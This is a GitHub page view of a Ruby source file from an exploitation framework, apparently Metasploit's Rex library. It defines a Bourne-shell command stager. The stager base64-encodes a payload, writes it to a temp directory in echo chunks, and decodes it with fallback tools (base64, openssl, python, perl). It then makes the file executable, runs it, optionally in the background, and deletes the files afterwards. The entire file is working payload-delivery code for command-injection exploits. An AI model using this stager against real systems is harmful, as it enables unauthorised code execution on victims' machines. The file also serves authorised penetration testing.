-
Notifications
You must be signed in to change notification settings - Fork 31
/
bourne.rb
119 lines (100 loc) · 2.93 KB
/
bourne.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# -*- coding: binary -*-
require 'rex/text'
require 'rex/arch'
module Rex
module Exploitation
class CmdStagerBourne < CmdStagerBase
def initialize(exe)
super
@var_encoded = Rex::Text.rand_text_alpha(5) + '.b64'
@var_decoded = Rex::Text.rand_text_alpha(5)
end
def generate(opts = {})
opts[:temp] = opts[:temp] || '/tmp/'
opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/'
opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/')
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
if (opts[:file])
@var_encoded = opts[:file] + '.b64'
@var_decoded = opts[:file]
end
super
end
#
# Override just to set the extra byte count
#
def generate_cmds(opts)
# Set the start/end of the commands here (vs initialize) so we have @tempdir
@cmd_start = "echo -n "
@cmd_end = ">>'#{@tempdir}#{@var_encoded}'"
xtra_len = @cmd_start.length + @cmd_end.length + 1
opts.merge!({ :extra => xtra_len })
super
end
#
# Simple base64...
#
def encode_payload(opts)
Rex::Text.encode_base64(@exe)
end
#
# Combine the parts of the encoded file with the stuff that goes
# before / after it.
#
def parts_to_commands(parts, opts)
cmds = []
parts.each do |p|
cmd = ''
cmd << @cmd_start
cmd << p
cmd << @cmd_end
cmds << cmd
end
cmds
end
#
# Generate the commands that will decode the file we just created
#
def generate_cmds_decoder(opts)
decoders = [
"base64 -d -",
"base64 --decode -",
"openssl enc -d -A -base64 -in /dev/stdin",
"python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
"perl -MMIME::Base64 -ne 'print decode_base64($_)'"
]
decoder_cmd = []
decoders.each do |cmd|
binary = cmd.split(' ')[0]
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
end
decoder_cmd = decoder_cmd.join(" || ")
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'"
[ decoder_cmd ]
end
def compress_commands(cmds, opts)
# Make it all happen
cmds << "chmod +x '#{@tempdir}#{@var_decoded}'"
# Background the process, allowing the cleanup code to continue and delete the data
# while allowing the original shell to continue to function since it isn't waiting
# on the payload to exit. The 'sleep' is required as '&' is a command terminator
# and having & and the cmds delimiter ';' next to each other is invalid.
if opts[:background]
cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2"
else
cmds << "'#{@tempdir}#{@var_decoded}'"
end
# Clean up after unless requested not to..
if (not opts[:nodelete])
cmds << "rm -f '#{@tempdir}#{@var_decoded}'"
cmds << "rm -f '#{@tempdir}#{@var_encoded}'"
end
super
end
def cmd_concat_operator
" ; "
end
end
end
end